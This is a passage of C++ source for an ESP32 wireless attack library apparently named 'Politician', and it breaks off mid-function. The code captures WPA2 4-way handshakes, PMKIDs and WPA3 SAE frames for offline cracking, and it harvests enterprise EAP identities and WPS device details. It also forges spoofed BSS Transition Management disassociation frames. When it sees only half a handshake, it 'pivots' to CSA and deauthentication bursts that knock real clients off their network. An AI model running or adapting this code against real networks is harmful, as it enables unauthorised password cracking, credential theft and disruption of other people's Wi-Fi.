1401 _recordClientForAp(hdr->addr1, hdr->addr2, rssi);
1402 if (_fpHook && len >= 4) {
1403 const uint8_t *ie_start = payload + 4;
1404 uint16_t ie_len = (len > 4) ? len - 4 : 0;
1405 char assoc_ssid[33] = {};
1406 uint8_t assoc_ssid_len = 0;
1407 _parseSsid(ie_start, ie_len, assoc_ssid, assoc_ssid_len);
1408 _fpHook(hdr->addr2, assoc_ssid, assoc_ssid_len, _rxChannel, rssi, ie_start, ie_len);
1409 }
1410 } else if (subtype == MGMT_SUB_AUTH) {
1411 if (len < 6) return;
1412 uint16_t auth_alg = ((uint16_t)payload[0]) | ((uint16_t)payload[1] << 8);
1413 uint16_t auth_seq = ((uint16_t)payload[2]) | ((uint16_t)payload[3] << 8);
1414 uint16_t status = ((uint16_t)payload[4]) | ((uint16_t)payload[5] << 8);
1415
1416 if (auth_alg == 0) { // Open System (Standard WPA2 fishing path)
1417 if (auth_seq == 2 && !_fishAuthLogged) {
1418 _fishAuthLogged = true;
1419 _log("[Auth] from %02X:%02X:%02X:%02X:%02X:%02X status=%d\n",
1420 hdr->addr2[0], hdr->addr2[1], hdr->addr2[2],
1421 hdr->addr2[3], hdr->addr2[4], hdr->addr2[5], status);
1422 }
1423 } else if (auth_alg == 3) { // SAE (WPA3)
1424 if (status == 0) {
1425 _stats.sae_found++;
1426 _log("[SAE] %s from %02X:%02X:%02X:%02X:%02X:%02X rssi=%d\n",
1427 (auth_seq == 1) ? "Commit" : (auth_seq == 2) ? "Confirm" : "Auth",
1428 hdr->addr2[0], hdr->addr2[1], hdr->addr2[2],
1429 hdr->addr2[3], hdr->addr2[4], hdr->addr2[5], rssi);
1430
1431 if (_eapolCb) {
1432 HandshakeRecord rec; memset(&rec, 0, sizeof(rec));
1433 rec.type = CAP_SAE; rec.channel = _rxChannel; rec.rssi = rssi;
1434 memcpy(rec.bssid, hdr->addr3, 6); memcpy(rec.sta, hdr->addr2, 6);
1435 _lookupSsid(rec.bssid, rec.ssid, rec.ssid_len);
1436 _lookupEnc(rec.bssid, rec.enc);
1437 _lookupCipher(rec.bssid, rec.cipher);
1438
1439 // Store the raw SAE authentication body (after the 6-byte fixed header)
1440 uint16_t sae_body_len = (len > 6) ? len - 6 : 0;
1441 if (sae_body_len > 256) sae_body_len = 256;
1442 memcpy(rec.sae_data, payload + 6, sae_body_len);
1443 rec.sae_len = sae_body_len;
1444 rec.sae_seq = (uint8_t)auth_seq;
1445 rec.is_full = (auth_seq == 2); // Confirm frame is the end of successful SAE exchange
1446
1447 _eapolCb(rec);
1448 }
1449 }
1450 }
1451 } else if (subtype == MGMT_SUB_ASSOC_RESP) {
1452 if (len < 6 || !_eapolCb) return;
1453 const uint8_t *ie = payload + 6;
1454 uint16_t ie_len = (len > 6) ? len - 6 : 0;
1455 const uint8_t *bssid = hdr->addr2;
1456 const uint8_t *sta = hdr->addr1;
1457
1458 uint16_t status = ((uint16_t)payload[2]) | ((uint16_t)payload[3] << 8);
1459 if (!_fishAssocLogged) {
1460 _fishAssocLogged = true;
1461 _log("[AssocResp] from %02X:%02X:%02X:%02X:%02X:%02X status=%d\n",
1462 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], status);
1463 }
1464 if (status != 0) return;
1465
1466 uint16_t pos = 0;
1467 while (pos + 2 <= ie_len) {
1468 uint8_t tag = ie[pos];
1469 uint8_t tlen = ie[pos + 1];
1470 if (pos + 2 + tlen > ie_len) break;
1471 if (tag == 48 && tlen >= 20) {
1472 const uint8_t *rsn = ie + pos + 2;
1473 uint16_t rlen = tlen;
1474 uint16_t off = 6;
1475 if (off + 2 > rlen) { pos += 2 + tlen; continue; }
1476 uint16_t pw_cnt = ((uint16_t)rsn[off]) | ((uint16_t)rsn[off+1] << 8); off += 2;
1477 if (pw_cnt > 20 || off + pw_cnt * 4 > rlen) { pos += 2 + tlen; continue; }
1478 off += pw_cnt * 4;
1479 if (off + 2 > rlen) { pos += 2 + tlen; continue; }
1480 uint16_t akm_cnt = ((uint16_t)rsn[off]) | ((uint16_t)rsn[off+1] << 8); off += 2;
1481 if (akm_cnt > 20 || off + akm_cnt * 4 > rlen) { pos += 2 + tlen; continue; }
1482 off += akm_cnt * 4;
1483 if (off + 4 > rlen) { pos += 2 + tlen; continue; }
1484 off += 2;
1485 uint16_t pmkid_cnt = ((uint16_t)rsn[off]) | ((uint16_t)rsn[off+1] << 8); off += 2;
1486 if (pmkid_cnt > 0 && off + 16 <= rlen) {
1487 const uint8_t *pmkid_raw = rsn + off;
1488 bool pmkid_valid = false;
1489 for (int pi = 0; pi < 16; pi++) if (pmkid_raw[pi]) { pmkid_valid = true; break; }
1490 if (pmkid_valid) {
1491 _stats.pmkid_found++; _stats.captures++;
1492 _incCaptureCount(bssid);
1493 HandshakeRecord rec; memset(&rec, 0, sizeof(rec));
1494 rec.type = CAP_PMKID; rec.channel = _rxChannel; rec.rssi = rssi;
1495 memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6);
1496 _lookupSsid(bssid, rec.ssid, rec.ssid_len);
1497 _lookupEnc(bssid, rec.enc);
1498 _lookupCipher(bssid, rec.cipher);
1499 memcpy(rec.pmkid, pmkid_raw, 16);
1500 _log("[PMKID] AssocResp BSSID=%02X:%02X:%02X:%02X:%02X:%02X\n",
1501 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
1502 _markCaptured(bssid); _markCapturedSsidGroup(rec.ssid, rec.ssid_len);
1503 if (_eapolCb) _eapolCb(rec);
1504 }
1505 }
1506 }
1507 pos += 2 + tlen;
1508 }
1509 }
1510}
1511
1512void Politician::_handleData(const ieee80211_hdr_t *hdr, const uint8_t *payload,
1513 uint16_t len, int8_t rssi) {
1514 if (len < EAPOL_MIN_FRAME_LEN) return;
1515 if (payload[0] != 0xAA || payload[1] != 0xAA || payload[2] != 0x03) return;
1516 if (payload[3] != 0x00 || payload[4] != 0x00 || payload[5] != 0x00) return;
1517 if (payload[6] != EAPOL_ETHERTYPE_HI || payload[7] != EAPOL_ETHERTYPE_LO) return;
1518
1519 _stats.eapol++;
1520 _channelTrafficSeen = true;
1521
1522 bool toDS = (hdr->frame_ctrl & FC_TODS_MASK) != 0;
1523 bool fromDS = (hdr->frame_ctrl & FC_FROMDS_MASK) != 0;
1524
1525 const uint8_t *bssid;
1526 const uint8_t *sta;
1527
1528 if (toDS && !fromDS) {
1529 bssid = hdr->addr1; sta = hdr->addr2;
1530 } else if (!toDS && fromDS) {
1531 bssid = hdr->addr2; sta = hdr->addr1;
1532 } else {
1533 bssid = hdr->addr3; sta = hdr->addr2;
1534 }
1535
1536 const uint8_t *eapol = payload + EAPOL_LLC_SIZE;
1537 uint16_t eapol_len = len - EAPOL_LLC_SIZE;
1538
1539 if (eapol_len >= 4) {
1540 if (eapol[1] == 0x00 && (_identityCb != nullptr || _wpsCb != nullptr
1541#ifndef POLITICIAN_NO_MSCHAPV2
1542 || _msChapCb != nullptr
1543#endif
1544 )) {
1545 if (eapol_len >= 9 && eapol[4] == 0x01 && eapol[8] > 0x01) {
1546 uint8_t method = eapol[8];
1547 bool found = false;
1548 for (uint8_t i = 0; i < MAX_EAP_METHODS; i++) {
1549 if (memcmp(_eapMethods[i].bssid, bssid, 6) == 0) {
1550 _eapMethods[i].method = method;
1551 found = true;
1552 break;
1553 }
1554 }
1555 if (!found) {
1556 uint8_t slot = _eapMethodIdx % MAX_EAP_METHODS;
1557 memcpy(_eapMethods[slot].bssid, bssid, 6);
1558 _eapMethods[slot].method = method;
1559 _eapMethodIdx++;
1560 }
1561 }
1562 if (_identityCb != nullptr) _parseEapIdentity(bssid, sta, eapol, eapol_len, rssi);
1563 if (_wpsCb != nullptr) _parseWpsFrame(bssid, sta, eapol, eapol_len, rssi);
1564#ifndef POLITICIAN_NO_MSCHAPV2
1565 if (_msChapCb != nullptr) _parseEapMsChap(bssid, sta, eapol, eapol_len, rssi);
1566#endif
1567 } else if (eapol[1] == 0x03) {
1568 _parseEapol(bssid, sta, eapol, eapol_len, rssi);
1569 }
1570 }
1571}
1572
1573bool Politician::_parseEapol(const uint8_t *bssid, const uint8_t *sta,
1574 const uint8_t *eapol, uint16_t len, int8_t rssi) {
1575 if (_isCaptured(bssid)) return false;
1576 if (len < 4 || eapol[1] != 0x03) return false;
1577
1578 // sta_filter: only process sessions involving the specified client MAC
1579 static const uint8_t zero_mac[6] = {};
1580 if (memcmp(_cfg.sta_filter, zero_mac, 6) != 0 && memcmp(sta, _cfg.sta_filter, 6) != 0) return false;
1581
1582 const uint8_t *key = eapol + 4;
1583 uint16_t key_len = len - 4;
1584 if (key_len < EAPOL_KEY_DATA_LEN + 2) return false;
1585 if (key[EAPOL_KEY_DESC_TYPE] != 0x02) return false; // Must be RSN/WPA2 descriptor
1586
1587 uint16_t key_info = ((uint16_t)key[EAPOL_KEY_INFO] << 8) | key[EAPOL_KEY_INFO + 1];
1588 bool is_pairwise = (key_info & KEYINFO_PAIRWISE) != 0;
1589 if (!is_pairwise) {
1590 if (_cfg.capture_group_keys && _eapolCb) {
1591 HandshakeRecord rec; memset(&rec, 0, sizeof(rec));
1592 rec.type = CAP_EAPOL_GROUP; rec.channel = _rxChannel; rec.rssi = rssi;
1593 memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6);
1594 _lookupSsid(bssid, rec.ssid, rec.ssid_len);
1595 _lookupEnc(bssid, rec.enc);
1596 _lookupCipher(bssid, rec.cipher);
1597 _log("[EAPOL] Group key handshake from %02X:%02X:%02X:%02X:%02X:%02X\n",
1598 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
1599 _eapolCb(rec);
1600 }
1601 return false;
1602 }
1603
1604 uint8_t msg = 0;
1605 if ( (key_info & KEYINFO_ACK) && !(key_info & KEYINFO_MIC) && !(key_info & KEYINFO_INSTALL)) msg = 1;
1606 else if (!(key_info & KEYINFO_ACK) && (key_info & KEYINFO_MIC) && !(key_info & KEYINFO_INSTALL) && !(key_info & KEYINFO_SECURE)) msg = 2;
1607 else if ((key_info & KEYINFO_ACK) && (key_info & KEYINFO_MIC) && (key_info & KEYINFO_INSTALL)) msg = 3;
1608 else if (!(key_info & KEYINFO_ACK) && (key_info & KEYINFO_MIC) && !(key_info & KEYINFO_INSTALL) && (key_info & KEYINFO_SECURE)) msg = 4;
1609
1610 if (msg == 0) return false;
1611
1612 _log("[EAPOL] M%d from %02X:%02X:%02X:%02X:%02X:%02X ch=%d rssi=%d\n",
1613 msg, bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], _rxChannel, rssi);
1614
1615 if (msg == 3 || msg == 4) {
1616 _recordClientForAp(bssid, sta, rssi);
1617
1618 // Refresh channel lock if we see M3/M4
1619 if (_hopping && _m1Locked) {
1620 _m1LockEndMs = millis() + _cfg.m1_lock_ms;
1621 }
1622
1623 Session *sess = _findSession(bssid, sta);
1624 if (!sess) return true;
1625
1626 if (msg == 3) {
1627 uint16_t store_len = (len < 256) ? len : 256;
1628 if (sess->m3_off + store_len <= sizeof(sess->eapol_buffer)) {
1629 memcpy(sess->eapol_buffer + sess->m3_off, eapol, store_len);
1630 sess->m3_len = store_len;
1631 sess->flags.has_m3 = true;
1632 sess->m4_off = sess->m3_off + store_len; // Advance M4 offset safely
1633 }
1634 } else if (msg == 4) {
1635 uint16_t store_len = (len < 256) ? len : 256;
1636 if (sess->m4_off + store_len <= sizeof(sess->eapol_buffer)) {
1637 memcpy(sess->eapol_buffer + sess->m4_off, eapol, store_len);
1638 sess->m4_len = store_len;
1639 sess->flags.has_m4 = true;
1640 }
1641
1642 // Full Handshake sequence complete!
1643 if (sess->flags.has_m1 && sess->flags.has_m2) {
1644 HandshakeRecord rec; memset(&rec, 0, sizeof(rec));
1645 rec.type = (_fishState == FISH_CSA_WAIT) ? CAP_EAPOL_CSA : CAP_EAPOL;
1646 rec.channel = sess->channel; rec.rssi = sess->rssi;
1647 memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6); memcpy(rec.ssid, sess->ssid, 33);
1648 rec.ssid_len = sess->ssid_len; _lookupEnc(bssid, rec.enc); _lookupCipher(bssid, rec.cipher);
1649 memcpy(rec.anonce, sess->anonce, 32); memcpy(rec.snonce, sess->snonce, 32);
1650 memcpy(rec.mic, sess->mic, 16);
1651 memcpy(rec.eapol_m2, sess->eapol_buffer + sess->m2_off, sess->m2_len); rec.eapol_m2_len = sess->m2_len;
1652 memcpy(rec.eapol_m3, sess->eapol_buffer + sess->m3_off, sess->m3_len); rec.eapol_m3_len = sess->m3_len;
1653 memcpy(rec.eapol_m4, sess->eapol_buffer + sess->m4_off, sess->m4_len); rec.eapol_m4_len = sess->m4_len;
1654 rec.has_anonce = true; rec.has_snonce = sess->flags.has_m2; rec.has_mic = true;
1655 rec.has_m3 = sess->flags.has_m3; rec.has_m4 = true;
1656 rec.is_full = true;
1657
1658 _log("[EAPOL] Full 4-Way Handshake captured for %02X:%02X:%02X:%02X:%02X:%02X\n",
1659 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
1660
1661 if (_eapolCb) _eapolCb(rec);
1662 sess->flags.active = false; // Close session
1663 }
1664 }
1665 return true;
1666 }
1667
1668 Session *sess = _findSession(bssid, sta);
1669 if (!sess) sess = _createSession(bssid, sta);
1670 if (!sess) return false;
1671
1672 sess->channel = _rxChannel; sess->rssi = rssi;
1673
1674 if (msg == 1) {
1675 bool isOurFishM1 = (_fishState != FISH_IDLE) && memcmp(bssid, _fishBssid, 6) == 0;
1676 if (!isOurFishM1 && !(_attackMask & ATTACK_PASSIVE)) return false;
1677
1678 if (key_len < EAPOL_KEY_NONCE + 32) return false;
1679 memcpy(sess->anonce, key + EAPOL_KEY_NONCE, 32);
1680 memcpy(sess->m1_replay_counter, key + EAPOL_REPLAY_COUNTER, 8);
1681 sess->flags.has_m1 = true;
1682
1683 if (_hopping && !_m1Locked) {
1684 _probeLocked = false; _m1Locked = true;
1685 _m1LockEndMs = millis() + _cfg.m1_lock_ms;
1686 }
1687 if (_m1Locked && memcmp(sta, _ownStaMac, 6) != 0) _m1LockEndMs = millis() + _cfg.m1_lock_ms;
1688
1689 uint16_t kdata_len = ((uint16_t)key[EAPOL_KEY_DATA_LEN] << 8) | key[EAPOL_KEY_DATA_LEN + 1];
1690 if (kdata_len >= 18 && key_len >= EAPOL_KEY_DATA + kdata_len) {
1691 const uint8_t *kdata = key + EAPOL_KEY_DATA;
1692 for (uint16_t i = 0; i + 22 <= kdata_len; i++) {
1693 if (kdata[i] == 0xDD && kdata[i+2] == 0x00 && kdata[i+3] == 0x0F && kdata[i+4] == 0xAC && kdata[i+5] == 0x04) {
1694 const uint8_t *pmkid_raw = kdata + i + 6;
1695 bool pmkid_valid = false;
1696 for (int pi = 0; pi < 16; pi++) if (pmkid_raw[pi]) { pmkid_valid = true; break; }
1697 if (pmkid_valid) {
1698 _stats.pmkid_found++; _stats.captures++;
1699 _incCaptureCount(bssid);
1700 HandshakeRecord rec; memset(&rec, 0, sizeof(rec));
1701 rec.type = CAP_PMKID; rec.channel = _rxChannel; rec.rssi = rssi;
1702 memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6);
1703 memcpy(rec.ssid, sess->ssid, sizeof(sess->ssid)); rec.ssid_len = sess->ssid_len;
1704 _lookupEnc(bssid, rec.enc);
1705 _lookupCipher(bssid, rec.cipher);
1706 memcpy(rec.pmkid, pmkid_raw, 16);
1707 _log("[PMKID] Found for %02X:%02X:%02X:%02X:%02X:%02X\n",
1708 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
1709 _markCaptured(bssid); _markCapturedSsidGroup(sess->ssid, sess->ssid_len);
1710 if (_eapolCb) _eapolCb(rec);
1711 }
1712 break;
1713 }
1714 }
1715 }
1716 } else if (msg == 2) {
1717 if (memcmp(sta, _ownStaMac, 6) == 0) return false;
1718 if (key_len < EAPOL_KEY_MIC + 16) return false;
1719 if (sess->flags.has_m1 && memcmp(key + EAPOL_REPLAY_COUNTER, sess->m1_replay_counter, 8) != 0) return false;
1720
1721 // Refresh channel lock if we see M2
1722 if (_hopping && _m1Locked) {
1723 _m1LockEndMs = millis() + _cfg.m1_lock_ms;
1724 }
1725
1726 memcpy(sess->mic, key + EAPOL_KEY_MIC, 16);
1727 if (key_len >= EAPOL_KEY_NONCE + 32) {
1728 memcpy(sess->snonce, key + EAPOL_KEY_NONCE, 32);
1729 }
1730
1731 uint16_t store_len = (len < 256) ? len : 256;
1732 sess->m2_off = 0;
1733 memcpy(sess->eapol_buffer + sess->m2_off, eapol, store_len); sess->m2_len = store_len;
1734 if (store_len >= 4 + EAPOL_KEY_MIC + 16) memset(sess->eapol_buffer + sess->m2_off + 4 + EAPOL_KEY_MIC, 0, 16);
1735
1736 // Prepare offsets for subsequent messages
1737 sess->m3_off = store_len;
1738 sess->m4_off = store_len; // Point M4 to the same offset. It will be advanced if M3 arrives first.
1739
1740 bool is_new_m2 = !sess->flags.has_m2;
1741 sess->flags.has_m2 = true;
1742 _recordClientForAp(bssid, sta, rssi);
1743
1744 if (sess->flags.has_m1) {
1745 static const uint8_t zero_mic[16] = {};
1746 if (memcmp(sess->mic, zero_mic, 16) == 0) {
1747 _log("[EAPOL] M2 MIC is zero — discarding malformed frame\n");
1748 sess->flags.active = false;
1749 return true;
1750 }
1751 uint32_t now_cap = millis();
1752 if (memcmp(bssid, _lastCapBssid, 6) == 0 && memcmp(sta, _lastCapSta, 6) == 0 &&
1753 (now_cap - _lastCapMs) < _cfg.session_timeout_ms) {
1754 // We already have a complete crackable pair for this recently,
1755 // but we keep the session alive to capture M3/M4 if possible.
1756 return true;
1757 }
1758 HandshakeRecord rec; memset(&rec, 0, sizeof(rec));
1759 rec.type = (_fishState == FISH_CSA_WAIT) ? CAP_EAPOL_CSA : CAP_EAPOL;
1760 rec.channel = sess->channel; rec.rssi = sess->rssi;
1761 memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6); memcpy(rec.ssid, sess->ssid, 33);
1762 rec.ssid_len = sess->ssid_len; _lookupEnc(bssid, rec.enc); _lookupCipher(bssid, rec.cipher);
1763 memcpy(rec.anonce, sess->anonce, 32); memcpy(rec.snonce, sess->snonce, 32);
1764 memcpy(rec.mic, sess->mic, 16); memcpy(rec.eapol_m2, sess->eapol_buffer + sess->m2_off, sess->m2_len);
1765 rec.eapol_m2_len = sess->m2_len; rec.has_anonce = true; rec.has_snonce = true; rec.has_mic = true;
1766 rec.is_full = false; // Crackable pair but not a full 4-way sequence
1767
1768 _log("[EAPOL] Crackable pair (M1+M2) captured for %02X:%02X:%02X:%02X:%02X:%02X SSID=%s\n",
1769 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], sess->ssid);
1770
1771 _stats.captures++;
1772 _incCaptureCount(bssid);
1773 memcpy(_lastCapBssid, bssid, 6); memcpy(_lastCapSta, sta, 6); _lastCapMs = now_cap;
1774 _markCaptured(bssid); _markCapturedSsidGroup(sess->ssid, sess->ssid_len);
1775 if (_eapolCb) _eapolCb(rec);
1776
1777 // Session remains ACTIVE to potentially catch M3 and M4
1778 } else if (is_new_m2 && _cfg.capture_half_handshakes) {
1779 // M2 seen without a prior M1 — fire half-handshake callback then pivot to active attack
1780 HandshakeRecord rec; memset(&rec, 0, sizeof(rec));
1781 rec.type = CAP_EAPOL_HALF;
1782 rec.channel = sess->channel; rec.rssi = sess->rssi;
1783 memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6); memcpy(rec.ssid, sess->ssid, 33);
1784 rec.ssid_len = sess->ssid_len; _lookupEnc(bssid, rec.enc); _lookupCipher(bssid, rec.cipher);
1785 memcpy(rec.mic, sess->mic, 16); memcpy(rec.eapol_m2, sess->eapol_buffer + sess->m2_off, sess->m2_len);
1786 rec.eapol_m2_len = sess->m2_len; rec.has_mic = true;
1787 _log("[EAPOL] Half-handshake (M2-only) for %02X:%02X:%02X:%02X:%02X:%02X SSID=%s — pivoting\n",
1788 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], sess->ssid);
1789 if (_eapolCb) _eapolCb(rec);
1790
1791 // Pivot to active attack to collect a complete handshake.
1792 // PMKID-only pivot is skipped: any M1 returned would be for our spoofed MAC,
1793 // not the real client's MAC in this session — the M2 can never be matched.
1794 // CSA/Deauth is required to force the real client to reconnect and produce M1.
1795 if (_fishState == FISH_IDLE) {
1796 if (!(_attackMask & (ATTACK_CSA | ATTACK_DEAUTH))) {
1797 _log("[EAPOL] Half-handshake pivot skipped — CSA/Deauth required to complete capture\n");
1798 } else {
1799 memcpy(_fishBssid, bssid, 6);
1800 memcpy(_fishSsid, sess->ssid, sess->ssid_len); _fishSsid[sess->ssid_len] = '\0';
1801 _fishSsidLen = sess->ssid_len; _fishChannel = sess->channel; _fishStartMs = millis();
1802 memcpy(_fishSta, sta, 6); // STA is known from the M2
1803 for (int ci = 0; ci < MAX_AP_CACHE; ci++) {
1804 if (_apCache[ci].flags.active && memcmp(_apCache[ci].bssid, bssid, 6) == 0) {
1805 _apCache[ci].last_attack_ms = _fishStartMs;
1806 break;
1807 }
1808 }
1809 _fishState = FISH_CSA_WAIT; _csaSecondBurstSent = false;
1810 _csaFallbackMs = 0;
1811 if (_attackMask & ATTACK_CSA) _sendCsaBurst();
1812 if (_disconnectStrategy == STRATEGY_SIMULTANEOUS) {
1813 if (_attackMask & ATTACK_DEAUTH) _sendDeauthBurst((_attackMask & ATTACK_CSA) ? _cfg.csa_deauth_count : _cfg.deauth_burst_count, sta);
1814 } else if (_disconnectStrategy == STRATEGY_AUTO_FALLBACK) {
1815 if ((_attackMask & ATTACK_CSA) && (_attackMask & ATTACK_DEAUTH)) {
1816 // Trigger fallback Deauth *before* the second CSA burst (which happens at 2000ms)
1817 _csaFallbackMs = millis() + 1000;
1818 } else if (_attackMask & ATTACK_DEAUTH) {
1819 _sendDeauthBurst(_cfg.deauth_burst_count, sta);
1820 }
1821 }
1822 _probeLocked = true; _probeLockEndMs = millis() + _cfg.csa_wait_ms;
1823 }
1824 }
1825 }
1826 }
1827 return true;
1828}
1829
1830void Politician::_parseEapIdentity(const uint8_t *bssid, const uint8_t *sta,
1831 const uint8_t *eapol, uint16_t len, int8_t rssi) {
1832 // EAP Header starts at eapol+4. Minimum needed: Code(1), Id(1), Len(2), Type(1)
1833 if (len < 9) return;
1834
1835 // EAP Code Check (We want 2 = Response)
1836 if (eapol[4] != 0x02) return;
1837
1838 // EAP Type Check (We want 1 = Identity)
1839 if (eapol[8] != 0x01) return;
1840
1841 uint16_t eap_len = ((uint16_t)eapol[6] << 8) | eapol[7];
1842 if (eap_len < 5) return;
1843
1844 // The plaintext Identity string is defined as everything after the Type byte.
1845 uint16_t id_len = eap_len - 5;
1846
1847 // Safety boundary check
1848 if (9 + id_len > len) return;
1849
1850 EapIdentityRecord rec;
1851 memset(&rec, 0, sizeof(rec));
1852 memcpy(rec.bssid, bssid, 6);
1853 memcpy(rec.client, sta, 6);
1854 rec.channel = _rxChannel;
1855 rec.rssi = rssi;
1856 rec.eap_method = EAP_METHOD_IDENTITY;
1857 for (uint8_t i = 0; i < MAX_EAP_METHODS; i++) {
1858 if (memcmp(_eapMethods[i].bssid, bssid, 6) == 0 && _eapMethods[i].method != 0) {
1859 rec.eap_method = _eapMethods[i].method;
1860 break;
1861 }
1862 }
1863
1864 uint16_t copy_len = (id_len < 64) ? id_len : 64;
1865 memcpy(rec.identity, eapol + 9, copy_len);
1866 rec.identity[copy_len] = '\0';
1867
1868 _log("[Enterprise] Harvested Identity '%s' from %02X:%02X:%02X:%02X:%02X:%02X\n",
1869 rec.identity, sta[0], sta[1], sta[2], sta[3], sta[4], sta[5]);
1870
1871 if (_identityCb) _identityCb(rec);
1872}
1873
1874void Politician::_parseWpsFrame(const uint8_t *bssid, const uint8_t *sta,
1875 const uint8_t *eapol, uint16_t len, int8_t rssi) {
1876 // EAP-WSC layout (starting from eapol[0] which is the EAPOL version byte):
1877 // eapol[0-3]: EAPOL header (ver, type=0x00, length 2B)
1878 // eapol[4]: EAP Code (2 = Response)
1879 // eapol[5]: EAP Id
1880 // eapol[6-7]: EAP Length
1881 // eapol[8]: EAP Type = 0xFE (Expanded Types)
1882 // eapol[9-11]: Vendor-Id = 00:37:2A (Wi-Fi Alliance)
1883 // eapol[12-15]: Vendor-Type = 00:00:00:01 (WSC)
1884 // eapol[16]: Op-Code (0x04 = WSC_MSG)
1885 // eapol[17]: Flags (bit1 = More Fragments → 2B Message Length follows)
1886 // eapol[18+]: WSC TLV data (or eapol[20+] if MF bit set)
1887
1888 if (len < 18) return;
1889 if (eapol[4] != 0x02) return; // Response only (Enrollee → AP)
1890 if (eapol[8] != 0xFE) return; // Expanded EAP type
1891 // Vendor-Id: Wi-Fi Alliance
1892 if (eapol[9] != 0x00 || eapol[10] != 0x37 || eapol[11] != 0x2A) return;
1893 // Vendor-Type: WSC (00 00 00 01)
1894 if (eapol[12] != 0x00 || eapol[13] != 0x00 || eapol[14] != 0x00 || eapol[15] != 0x01) return;
1895 if (eapol[16] != 0x04) return; // WSC_MSG only
1896
1897 uint16_t tlv_offset = 18;
1898 if (eapol[17] & 0x02) tlv_offset += 2; // MF bit: Message Length field present
1899 if (tlv_offset >= len) return;
1900
1901 const uint8_t *tlv = eapol + tlv_offset;
1902 uint16_t tlv_len = len - tlv_offset;
1903
1904 // First pass: confirm Message Type TLV (0x104A) = M1 (0x04)
1905 uint8_t msg_type = 0;
1906 uint16_t pos = 0;
1907 while (pos + 4 <= tlv_len) {
1908 uint16_t attr_type = ((uint16_t)tlv[pos] << 8) | tlv[pos + 1];
1909 uint16_t attr_len = ((uint16_t)tlv[pos + 2] << 8) | tlv[pos + 3];
1910 if (pos + 4 + attr_len > tlv_len) break;
1911 if (attr_type == 0x104A && attr_len >= 1) { msg_type = tlv[pos + 4]; break; }
1912 pos += 4 + attr_len;
1913 }
1914 if (msg_type != 0x04) return; // Not M1
1915
1916 WpsRecord rec; memset(&rec, 0, sizeof(rec));
1917 memcpy(rec.bssid, bssid, 6);
1918 memcpy(rec.sta, sta, 6);
1919 rec.channel = _rxChannel;
1920 rec.rssi = rssi;
1921
1922 // Second pass: extract device attributes
1923 pos = 0;
1924 while (pos + 4 <= tlv_len) {
1925 uint16_t attr_type = ((uint16_t)tlv[pos] << 8) | tlv[pos + 1];
1926 uint16_t attr_len = ((uint16_t)tlv[pos + 2] << 8) | tlv[pos + 3];
1927 if (pos + 4 + attr_len > tlv_len) break;
1928 const uint8_t *val = tlv + pos + 4;
1929
1930 auto cpStr = [](char *dst, size_t dsz, const uint8_t *src, uint16_t slen) {
1931 uint16_t n = (slen < (uint16_t)(dsz - 1)) ? slen : (uint16_t)(dsz - 1);
1932 memcpy(dst, src, n); dst[n] = '\0';
1933 };
1934
1935 switch (attr_type) {
1936 case 0x1011: cpStr(rec.device_name, sizeof(rec.device_name), val, attr_len); break;
1937 case 0x1021: cpStr(rec.manufacturer, sizeof(rec.manufacturer), val, attr_len); break;
1938 case 0x1023: cpStr(rec.model_name, sizeof(rec.model_name), val, attr_len); break;
1939 case 0x1024: cpStr(rec.model_number, sizeof(rec.model_number), val, attr_len); break;
1940 case 0x1042: cpStr(rec.serial_number, sizeof(rec.serial_number), val, attr_len); break;
1941 case 0x1004: if (attr_len >= 2) rec.auth_type_flags = ((uint16_t)val[0] << 8) | val[1]; break;
1942 case 0x1008: if (attr_len >= 2) rec.config_methods = ((uint16_t)val[0] << 8) | val[1]; break;
1943 case 0x103C: if (attr_len >= 1) rec.rf_bands = val[0]; break;
1944 case 0x1054: if (attr_len >= 2) rec.primary_dev_type_cat = ((uint16_t)val[0] << 8) | val[1]; break;
1945 default: break;
1946 }
1947 pos += 4 + attr_len;
1948 }
1949
1950 _log("[WPS] M1 from %02X:%02X:%02X:%02X:%02X:%02X dev='%s' mfr='%s' model='%s'\n",
1951 sta[0], sta[1], sta[2], sta[3], sta[4], sta[5],
1952 rec.device_name, rec.manufacturer, rec.model_name);
1953
1954 if (_wpsCb) _wpsCb(rec);
1955}
1956
1957void Politician::_sendBtmRequest(const uint8_t *bssid, const uint8_t *sta) {
1958 // 802.11v BSS Transition Management Request (Action frame, FC=0xD0 0x00)
1959 // Category 0x0A (WNM), Action 0x07, Request Mode bit2 = Disassociation Imminent
1960 uint8_t frame[32];
1961 int p = 0;
1962 frame[p++] = 0xD0; frame[p++] = 0x00; // FC: Action
1963 frame[p++] = 0x00; frame[p++] = 0x00; // Duration
1964 memcpy(frame + p, sta, 6); p += 6; // DA: target client
1965 memcpy(frame + p, bssid, 6); p += 6; // SA: spoofed as AP
1966 memcpy(frame + p, bssid, 6); p += 6; // BSSID
1967 frame[p++] = 0x00; frame[p++] = 0x00; // Sequence Control
1968 frame[p++] = 0x0A; // Category: WNM
1969 frame[p++] = 0x07; // Action: BSS Transition Management Request
1970 frame[p++] = 0x01; // Dialog Token (non-zero)
1971 frame[p++] = 0x04; // Request Mode: Disassociation Imminent (bit 2)
1972 uint16_t timer = _cfg.btm_disassoc_timer;
1973 frame[p++] = (uint8_t)(timer & 0xFF);
1974 frame[p++] = (uint8_t)(timer >> 8);
1975 frame[p++] = 0x01; // Validity Interval (1 TBTT)
1976 esp_wifi_80211_tx(WIFI_IF_AP, frame, p, false);
1977}
1978
1979#ifndef POLITICIAN_NO_MSCHAPV2
1980void Politician::_parseEapMsChap(const uint8_t *bssid, const uint8_t *sta,
1981 const uint8_t *eapol, uint16_t len, int8_t rssi) {
1982 // EAP frame layout:
1983 // eapol[0-3]: EAPOL header (version, type=0x00, body-length 2B)
